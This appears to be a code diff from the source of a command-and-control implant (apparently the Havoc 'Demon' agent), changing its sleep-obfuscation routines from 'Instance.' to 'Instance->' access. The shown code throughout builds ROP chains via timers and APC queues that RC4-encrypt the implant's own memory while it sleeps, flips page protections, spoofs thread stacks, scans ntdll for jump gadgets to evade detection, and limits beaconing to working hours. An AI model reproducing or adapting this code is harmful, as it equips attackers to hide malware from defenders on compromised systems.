*( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
// WaitForSingleObjectEx( Src, Fbr->Time, FALSE );
// NOTE: thread image decryption
RopMemDec->ContextFlags = CONTEXT_FULL;
RopMemDec->Rip = U_PTR( Instance.Win32.SystemFunction032 );
RopMemDec->Rip = U_PTR( Instance->Win32.SystemFunction032 );
RopMemDec->Rsp -= U_PTR( 0x1000 * 7 );
RopMemDec->Rcx = U_PTR( &Rc4 );
RopMemDec->Rdx = U_PTR( &Key );
*( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
// SystemFunction032( &Rc4, &Key ); Rc4 Decryption
// RW -> RWX
RopSetMemRx->ContextFlags = CONTEXT_FULL;
RopSetMemRx->Rip = U_PTR( Instance.Win32.NtProtectVirtualMemory );
RopSetMemRx->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory );
RopSetMemRx->Rsp -= U_PTR( 0x1000 * 6 );
RopSetMemRx->Rcx = U_PTR( NtCurrentProcess() );
RopSetMemRx->Rdx = U_PTR( &TxtBase );
RopSetMemRx->R8 = U_PTR( &TxtSize );
RopSetMemRx->R9 = U_PTR( dwProtect );
*( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
*( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( & TmpValue );
// NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_EXECUTE_READ, & TmpValue );
RopSetCtx2->ContextFlags = CONTEXT_FULL;
RopSetCtx2->Rip = U_PTR( Instance.Win32.NtSetContextThread );
RopSetCtx2->Rip = U_PTR( Instance->Win32.NtSetContextThread );
RopSetCtx2->Rsp -= U_PTR( 0x1000 * 5 );
RopSetCtx2->Rcx = U_PTR( hDupObj );
RopSetCtx2->Rdx = U_PTR( RopCap );
*( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
// NtSetContextThread( Src, Cap );
RopExitThd->ContextFlags = CONTEXT_FULL;
RopExitThd->Rip = U_PTR( Instance.Win32.RtlExitUserThread );
RopExitThd->Rip = U_PTR( Instance->Win32.RtlExitUserThread );
RopExitThd->Rsp -= U_PTR( 0x1000 * 4 );
RopExitThd->Rcx = U_PTR( ERROR_SUCCESS );
*( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
// RtlExitUserThread( ERROR_SUCCESS );
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopBegin, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopMemEnc, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopGetCtx, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetCtx, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopWaitObj, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopMemDec, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetCtx2, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopExitThd, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopBegin, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemEnc, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopGetCtx, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopWaitObj, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemDec, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx2, FALSE, NULL ) ) ) goto Leave;
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopExitThd, FALSE, NULL ) ) ) goto Leave;
if ( NT_SUCCESS( SysNtAlertResumeThread( hThread, NULL ) ) )
{
RopSpoof->ContextFlags = CONTEXT_FULL;
RopSpoof->Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx );
RopSpoof->Rsp = U_PTR( Instance.Teb->NtTib.StackBase ); // TODO: try to spoof the stack and remove the pointers
RopSpoof->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx );
RopSpoof->Rsp = U_PTR( Instance->Teb->NtTib.StackBase ); // TODO: try to spoof the stack and remove the pointers
// Execute every registered Apc thread
SysNtSignalAndWaitForSingleObject( hEvent, hThread, FALSE, NULL );
@@ -257,57 +243,57 @@ VOID FoliageObf(
Leave:
if ( RopExitThd != NULL ) {
Instance.Win32.LocalFree( RopExitThd );
Instance->Win32.LocalFree( RopExitThd );
RopExitThd = NULL;
}
if ( RopSetCtx2 != NULL ) {
Instance.Win32.LocalFree( RopSetCtx2 );
Instance->Win32.LocalFree( RopSetCtx2 );
RopSetCtx2 = NULL;
}
if ( RopSetMemRx != NULL ) {
Instance.Win32.LocalFree( RopSetMemRx );
Instance->Win32.LocalFree( RopSetMemRx );
RopSetMemRx = NULL;
}
if ( RopMemDec != NULL ) {
Instance.Win32.LocalFree( RopMemDec );
Instance->Win32.LocalFree( RopMemDec );
RopMemDec = NULL;
}
if ( RopWaitObj != NULL ) {
Instance.Win32.LocalFree( RopWaitObj );
Instance->Win32.LocalFree( RopWaitObj );
RopWaitObj = NULL;
}
if ( RopSetCtx != NULL ) {
Instance.Win32.LocalFree( RopSetCtx );
Instance->Win32.LocalFree( RopSetCtx );
RopSetCtx = NULL;
}
if ( RopSetMemRw != NULL ) {
Instance.Win32.LocalFree( RopSetMemRw );
Instance->Win32.LocalFree( RopSetMemRw );
RopSetMemRw = NULL;
}
if ( RopBegin != NULL ) {
Instance.Win32.LocalFree( RopBegin );
Instance->Win32.LocalFree( RopBegin );
RopBegin = NULL;
}
if ( RopSpoof != NULL ) {
Instance.Win32.LocalFree( RopSpoof );
Instance->Win32.LocalFree( RopSpoof );
RopSpoof = NULL;
}
if ( RopCap != NULL ) {
Instance.Win32.LocalFree( RopCap );
Instance->Win32.LocalFree( RopCap );
RopCap = NULL;
}
if ( RopInit != NULL ) {
Instance.Win32.LocalFree( RopInit );
Instance->Win32.LocalFree( RopInit );
RopInit = NULL;
}
@@ -330,7 +316,7 @@ Leave:
MemSet( &Key, 0, sizeof( USTRING ) );
MemSet( &Random, 0, 0x10 );
Instance.Win32.SwitchToFiber( Param->Master );
Instance->Win32.SwitchToFiber( Param->Master );
}
/*!
@@ -351,56 +337,50 @@ Leave:
* @return
*/
BOOL TimerObf(
IN DWORD TimeOut,
IN DWORD Method
_In_ ULONG TimeOut,
_In_ ULONG Method
) {
/* Handles */
HANDLE Queue = NULL;
HANDLE Timer = NULL;
HANDLE ThdSrc = NULL;
HANDLE EvntStart = NULL;
HANDLE EvntTimer = NULL;
HANDLE EvntDelay = NULL;
HANDLE EvntWait = NULL;
/* buffer/pointer holders */
UCHAR Buf[ 16 ] = { 0 };
USTRING Key = { 0 };
USTRING Img = { 0 };
PVOID ImgBase = { 0 };
ULONG ImgSize = { 0 };
/* rop/thread contexts */
CONTEXT TimerCtx = { 0 };
CONTEXT ThdCtx = { 0 };
CONTEXT Rop[ 13 ] = { { 0 } };
/* some vars */
DWORD Value = 0;
DWORD Delay = 0;
BOOL Success = FALSE;
HANDLE Queue = { 0 };
HANDLE Timer = { 0 };
HANDLE ThdSrc = { 0 };
HANDLE EvntStart = { 0 };
HANDLE EvntTimer = { 0 };
HANDLE EvntDelay = { 0 };
HANDLE EvntWait = { 0 };
UCHAR Buf[ 16 ] = { 0 };
USTRING Key = { 0 };
USTRING Img = { 0 };
PVOID ImgBase = { 0 };
ULONG ImgSize = { 0 };
CONTEXT TimerCtx = { 0 };
CONTEXT ThdCtx = { 0 };
CONTEXT Rop[ 13 ] = { 0 };
ULONG Value = { 0 };
ULONG Delay = { 0 };
BOOL Success = { 0 };
NT_TIB NtTib = { 0 };
NT_TIB BkpTib = { 0 };
NTSTATUS NtStatus = STATUS_SUCCESS;
DWORD Inc = 0;
NTSTATUS NtStatus = { 0 };
ULONG Inc = { 0 };
LPVOID ImageBase = { 0 };
SIZE_T ImageSize = { 0 };
LPVOID TxtBase = { 0 };
SIZE_T TxtSize = { 0 };
ULONG Protect = { 0 };
BYTE JmpBypass = { 0 };
PVOID JmpGadget = { 0 };
BYTE JmpPad[] = { 0xFF, 0xE0 };
LPVOID ImageBase = NULL;
SIZE_T ImageSize = 0;
LPVOID TxtBase = NULL;
SIZE_T TxtSize = 0;
DWORD dwProtect = PAGE_EXECUTE_READWRITE;
ImageBase = TxtBase = Instance->Session.ModuleBase;
ImageSize = TxtSize = Instance->Session.ModuleSize;
Protect = PAGE_EXECUTE_READWRITE;
JmpBypass = Instance->Config.Implant.SleepJmpBypass;
ImageBase = Instance.Session.ModuleBase;
ImageSize = Instance.Session.ModuleSize;
// Check if .text section is defined
if (Instance.Session.TxtBase != 0 && Instance.Session.TxtSize != 0) {
TxtBase = Instance.Session.TxtBase;
TxtSize = Instance.Session.TxtSize;
dwProtect = PAGE_EXECUTE_READ;
} else {
TxtBase = Instance.Session.ModuleBase;
TxtSize = Instance.Session.ModuleSize;
if ( Instance->Session.TxtBase && Instance->Session.TxtSize ) {
TxtBase = Instance->Session.TxtBase;
TxtSize = Instance->Session.TxtSize;
Protect = PAGE_EXECUTE_READ;
}
/* create a random key */
@@ -408,41 +388,44 @@ BOOL TimerObf(
Buf[ i ] = RandomNumber32( );
}
/* set specific context flags */
ThdCtx.ContextFlags = TimerCtx.ContextFlags = CONTEXT_FULL;
/* set key pointer and size */
Key.Buffer = Buf;
Key.Length = Key.MaximumLength = sizeof( Buf );
/* set agent memory pointer and size */
Img.Buffer = ImgBase = Instance.Session.ModuleBase;
Img.Length = Img.MaximumLength = ImgSize = Instance.Session.ModuleSize;
Img.Buffer = ImgBase = Instance->Session.ModuleBase;
Img.Length = Img.MaximumLength = ImgSize = Instance->Session.ModuleSize;
if ( Method == SLEEPOBF_EKKO ) {
NtStatus = Instance.Win32.RtlCreateTimerQueue( &Queue );
NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue );
} else if ( Method == SLEEPOBF_ZILEAN ) {
NtStatus = Instance.Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE );
NtStatus = Instance->Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE );
}
if ( NT_SUCCESS( NtStatus ) )
{
/* create events */
if ( NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )
if ( NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )
{
/* get the context of the Timer thread based on the method used */
if ( Method == SLEEPOBF_EKKO ) {
NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );
NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );
} else if ( Method == SLEEPOBF_ZILEAN ) {
NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance.Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );
NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );
}
if ( NT_SUCCESS( NtStatus ) )
{
/* Send event that we got the context of the timers thread */
if ( Method == SLEEPOBF_EKKO ) {
NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );
NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );
} else if ( Method == SLEEPOBF_ZILEAN ) {
NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );
NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );
}
if ( NT_SUCCESS( NtStatus ) )
@@ -454,7 +437,7 @@ BOOL TimerObf(
}
/* if stack spoofing is enabled then prepare some stuff */
if ( Instance.Config.Implant.StackSpoof )
if ( Instance->Config.Implant.StackSpoof )
{
/* retrieve Tib if stack spoofing is enabled */
if ( ! ThreadQueryTib( C_PTR( TimerCtx.Rsp ), &NtTib ) ) {
@@ -469,28 +452,44 @@ BOOL TimerObf(
}
/* NtTib backup */
MemCopy( &BkpTib, &Instance.Teb->NtTib, sizeof( NT_TIB ) );
MemCopy( &BkpTib, &Instance->Teb->NtTib, sizeof( NT_TIB ) );
}
/* search for jmp instruction */
if ( JmpBypass )
{
/* change padding to "jmp rbx" */
if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) {
JmpPad[ 1 ] = 0x23;
}
/* scan memory for gadget */
if ( ! ( JmpGadget = MmGadgetFind(
C_PTR( U_PTR( Instance->Modules.Ntdll ) + LDR_GADGET_HEADER_SIZE ),
LDR_GADGET_MODULE_SIZE,
JmpPad,
sizeof( JmpPad )
) ) ) {
JmpBypass = SLEEPOBF_BYPASS_NONE;
}
}
/* at this point we can start preparing the ROPs and execute the timers */
for ( int i = 0; i < 13; i++ ) {
MemCopy( &Rop[ i ], &TimerCtx, sizeof( CONTEXT ) );
Rop[ i ].Rip = U_PTR( JmpGadget );
Rop[ i ].Rsp -= sizeof( PVOID );
}
/* set specific context flags */
ThdCtx.ContextFlags = CONTEXT_FULL;
TimerCtx.ContextFlags = CONTEXT_FULL;
/* Start of Ropchain */
Rop[ Inc ].Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx );
OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx );
Rop[ Inc ].Rcx = U_PTR( EvntStart );
Rop[ Inc ].Rdx = U_PTR( INFINITE );
Rop[ Inc ].R8 = U_PTR( FALSE );
Inc++;
/* Protect */
Rop[ Inc ].Rip = U_PTR( Instance.Win32.VirtualProtect );
OBF_JMP( Inc, Instance->Win32.VirtualProtect );
Rop[ Inc ].Rcx = U_PTR( ImgBase );
Rop[ Inc ].Rdx = U_PTR( ImgSize );
Rop[ Inc ].R8 = U_PTR( PAGE_READWRITE );
@@ -498,73 +497,74 @@ BOOL TimerObf(
Inc++;
/* Encrypt image base address */
Rop[ Inc ].Rip = U_PTR( Instance.Win32.SystemFunction032 );
OBF_JMP( Inc, Instance->Win32.SystemFunction032 );
Rop[ Inc ].Rcx = U_PTR( &Img );
Rop[ Inc ].Rdx = U_PTR( &Key );
Inc++;
/* perform stack spoofing */
if ( Instance.Config.Implant.StackSpoof ) {
Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtGetContextThread );
if ( Instance->Config.Implant.StackSpoof ) {
OBF_JMP( Inc, Instance->Win32.NtGetContextThread )
Rop[ Inc ].Rcx = U_PTR( ThdSrc );
Rop[ Inc ].Rdx = U_PTR( &ThdCtx );
Inc++;
Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory );
OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )
Rop[ Inc ].Rcx = U_PTR( &TimerCtx.Rip );
Rop[ Inc ].Rdx = U_PTR( &ThdCtx.Rip );
Rop[ Inc ].R8 = U_PTR( sizeof( VOID ) );
Inc++;
Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory );
Rop[ Inc ].Rcx = U_PTR( &Instance.Teb->NtTib );
OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )
Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib );
Rop[ Inc ].Rdx = U_PTR( &NtTib );
Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) );
Inc++;
Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetContextThread );
OBF_JMP( Inc, Instance->Win32.NtSetContextThread )
Rop[ Inc ].Rcx = U_PTR( ThdSrc );
Rop[ Inc ].Rdx = U_PTR( &TimerCtx );
Inc++;
}
/* Sleep */
Rop[ Inc ].Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx );
OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx )
Rop[ Inc ].Rcx = U_PTR( NtCurrentProcess() );
Rop[ Inc ].Rdx = U_PTR( Delay + TimeOut );
Rop[ Inc ].R8 = U_PTR( FALSE );
Inc++;
/* undo stack spoofing */
if ( Instance.Config.Implant.StackSpoof ) {
Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory );
Rop[ Inc ].Rcx = U_PTR( &Instance.Teb->NtTib );
if ( Instance->Config.Implant.StackSpoof ) {
OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )
Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib );
Rop[ Inc ].Rdx = U_PTR( &BkpTib );
Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) );
Inc++;
Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetContextThread );
OBF_JMP( Inc, Instance->Win32.NtSetContextThread )
Rop[ Inc ].Rcx = U_PTR( ThdSrc );
Rop[ Inc ].Rdx = U_PTR( &ThdCtx );
Inc++;
}
/* Sys032 */
Rop[ Inc ].Rip = U_PTR( Instance.Win32.SystemFunction032 );
OBF_JMP( Inc, Instance->Win32.SystemFunction032 )
Rop[ Inc ].Rcx = U_PTR( &Img );
Rop[ Inc ].Rdx = U_PTR( &Key );
Inc++;
/* Protect */
Rop[ Inc ].Rip = U_PTR( Instance.Win32.VirtualProtect );
OBF_JMP( Inc, Instance->Win32.VirtualProtect )
Rop[ Inc ].Rcx = U_PTR( TxtBase );
Rop[ Inc ].Rdx = U_PTR( TxtSize );
Rop[ Inc ].R8 = U_PTR( dwProtect );
Rop[ Inc ].R8 = U_PTR( Protect );
Rop[ Inc ].R9 = U_PTR( &Value );
Inc++;
/* End of Ropchain */
Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetEvent );
Rop[ Inc ].Rip = U_PTR( Instance->Win32.NtSetEvent );
OBF_JMP( Inc, Instance->Win32.NtSetEvent )
Rop[ Inc ].Rcx = U_PTR( EvntDelay );
Rop[ Inc ].Rdx = U_PTR( NULL );
Inc++;
@@ -574,12 +574,12 @@ BOOL TimerObf(
/* execute/queue the timers */
for ( int i = 0; i < Inc; i++ ) {
if ( Method == SLEEPOBF_EKKO ) {
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {
PRINTF( "RtlCreateTimer Failed: %lx\n", NtStatus )
goto LEAVE;
}
} else if ( Method == SLEEPOBF_ZILEAN ) {
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance.Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {
PRINTF( "RtlRegisterWait Failed: %lx\n", NtStatus )
goto LEAVE;
}
@@ -589,8 +589,6 @@ BOOL TimerObf(
/* just wait for the sleep to end */
if ( ! ( Success = NT_SUCCESS( NtStatus = SysNtSignalAndWaitForSingleObject( EvntStart, EvntDelay, FALSE, NULL ) ) ) ) {
PRINTF( "NtSignalAndWaitForSingleObject Failed: %lx\n", NtStatus );
} else {
Success = TRUE;
}
} else {
PRINTF( "RtlCreateTimer/RtlRegisterWait Failed: %lx\n", NtStatus )
@@ -605,11 +603,9 @@ BOOL TimerObf(
PRINTF( "RtlCreateTimerQueue/NtCreateEvent Failed: %lx\n", NtStatus )
}
LEAVE: /* cleanup */
if ( Queue ) {
Instance.Win32.RtlDeleteTimerQueue( Queue );
Instance->Win32.RtlDeleteTimerQueue( Queue );
Queue = NULL;
}
@@ -654,10 +650,10 @@ LEAVE: /* cleanup */
UINT32 SleepTime(
VOID
) {
UINT32 SleepTime = Instance.Config.Sleeping * 1000;
UINT32 MaxVariation = ( Instance.Config.Jitter * SleepTime ) / 100;
UINT32 SleepTime = Instance->Config.Sleeping * 1000;
UINT32 MaxVariation = ( Instance->Config.Jitter * SleepTime ) / 100;
ULONG Rand = 0;
UINT32 WorkingHours = Instance.Config.Transport.WorkingHours;
UINT32 WorkingHours = Instance->Config.Transport.WorkingHours;
SYSTEMTIME SystemTime = { 0 };
WORD StartHour = 0;
WORD StartMinute = 0;
@@ -682,7 +678,7 @@ UINT32 SleepTime(
EndHour = ( WorkingHours >> 6 ) & 0b011111;
EndMinute = ( WorkingHours >> 0 ) & 0b111111;
Instance.Win32.GetLocalTime(&SystemTime);
Instance->Win32.GetLocalTime(&SystemTime);
if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute || SystemTime.wHour > EndHour )
{
@@ -719,7 +715,7 @@ VOID SleepObf(
VOID
) {
UINT32 TimeOut = SleepTime();
DWORD Technique = Instance.Config.Implant.SleepMaskTechnique;
DWORD Technique = Instance->Config.Implant.SleepMaskTechnique;
/* don't do any sleep obf. waste of resources */
if ( TimeOut == 0 ) {
@@ -728,8 +724,8 @@ VOID SleepObf(
#if _WIN64
if ( Instance.Threads ) {
PRINTF( "Can't sleep obf. Threads running: %d\n", Instance.Threads )
if ( Instance->Threads ) {
PRINTF( "Can't sleep obf. Threads running: %d\n", Instance->Threads )
Technique = 0;
}
@@ -738,13 +734,13 @@ VOID SleepObf(
case SLEEPOBF_FOLIAGE: {
SLEEP_PARAM Param = { 0 };
if ( ( Param.Master = Instance.Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) {
if ( ( Param.Slave = Instance.Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) {
if ( ( Param.Master = Instance->Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) {
if ( ( Param.Slave = Instance->Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) {
Param.TimeOut = TimeOut;
Instance.Win32.SwitchToFiber( Param.Slave );
Instance.Win32.DeleteFiber( Param.Slave );
Instance->Win32.SwitchToFiber( Param.Slave );
Instance->Win32.DeleteFiber( Param.Slave );
}
Instance.Win32.ConvertFiberToThread( );
Instance->Win32.ConvertFiberToThread( );
}
break;
}
@@ -761,9 +757,9 @@ VOID SleepObf(
/* default */
DEFAULT: case SLEEPOBF_NO_OBF: {}; default: {
SpoofFunc(
Instance.Modules.Kernel32,
IMAGE_SIZE( Instance.Modules.Kernel32 ),
Instance.Win32.WaitForSingleObjectEx,
Instance->Modules.Kernel32,
IMAGE_SIZE( Instance->Modules.Kernel32 ),
Instance->Win32.WaitForSingleObjectEx,
NtCurrentProcess(),
C_PTR( TimeOut ),
FALSE
@@ -775,7 +771,7 @@ VOID SleepObf(
// TODO: add support for sleep obf and spoofing
Instance.Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE );
Instance->Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE );
#endif
@@ -3,15 +3,14 @@
#include <stdarg.h>
#include <Demon.h>
#include <common/Defines.h>
#include <core/Command.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/Package.h>
#include <core/SysNative.h>
#include <core/ObjectApi.h>
#include <Core/Command.h>
#include <Core/Win32.h>
#include <Core/MiniStd.h>
#include <Core/Package.h>
#include <Core/SysNative.h>
#include "Common/Defines.h"
#include <Loader/ObjectApi.h>
#ifndef bufsize
#define bufsize 8192
@@ -21,7 +20,7 @@
PVOID LdrModulePebString( PCHAR ModuleString )
{
PRINTF( "ModuleString: %s : %lx\n", ModuleString, HashEx( ModuleString, 0, TRUE ) )
return Instance.Win32.GetModuleHandleA( ModuleString );
return Instance->Win32.GetModuleHandleA( ModuleString );
}
PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function )
@@ -32,12 +31,12 @@ PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function )
BOOL LdrFreeLibrary( HMODULE hLibModule )
{
return Instance.Win32.FreeLibrary( hLibModule );
return Instance->Win32.FreeLibrary( hLibModule );
}
HLOCAL LdrLocalFree( PVOID hMem )
{
return Instance.Win32.LocalFree( hMem );
return Instance->Win32.LocalFree( hMem );
}
COFFAPIFUNC BeaconApi[] = {
@@ -224,7 +223,7 @@ PCHAR BeaconDataExtract( PDATA parser, PINT size )
*/
BOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID )
{
PCOFFEE Entry = Instance.Coffees;
PCOFFEE Entry = Instance->Coffees;
if ( ! CoffeeFunctionReturn || ! RequestID )
return FALSE;
@@ -269,24 +268,24 @@ VOID BeaconPrintf( INT Type, PCHAR fmt, ... )
va_start( VaListArg, fmt );
CallbackSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg );
CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg );
if ( CallbackSize < 0 ) {
PUTS( "Failed to calculate final string length" )
va_end( VaListArg );
return;
}
CallbackOutput = Instance.Win32.LocalAlloc( LPTR, CallbackSize + 1 );
CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize + 1 );
if ( ! CallbackOutput ) {
PUTS( "Failed to allocate CallbackOutput" );
va_end( VaListArg );
return;
